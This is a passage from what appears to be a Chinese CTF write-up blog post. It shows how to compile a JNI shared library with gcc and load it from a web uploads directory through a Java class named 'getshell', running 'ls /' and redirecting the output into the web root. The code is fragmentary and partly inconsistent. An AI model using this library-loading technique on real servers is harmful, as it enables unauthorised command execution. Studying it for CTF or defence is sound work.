    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

然后是编译so文件,这里去kali编译,尽量保证目标操作系统与我们一致。

gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so JniClass.c

gcc -fPIC -I"/usr/local/java/jdk1.8.0_65/include" -I"/usr/local/java/jdk1.8.0_65/include/linux" -shared -o libcmd.so JniClass.c

image

虽然这里爆出了警告,但是不影响编译。

然后我们要做的就是加载so文件执行命令。

public class getshell {
    public native void nativeMethod(String cmd);

    public static void main(String[] args) {
        System.load("/var/www/html/uploads/libcmd.jar");
        NativeLibraryExample example=new NativeLibraryExample();
        example.nativeMethod("ls / > /var/www/html/uploads/1.txt");
    }
}

image

但是这里没回显,需要通过>来查看回显,可能是c语言代码的问题。官方wp的是可以回显的。

posted @ 2024-11-15 14:56  Meteor_Kai  阅读(568)  评论(0)    收藏  举报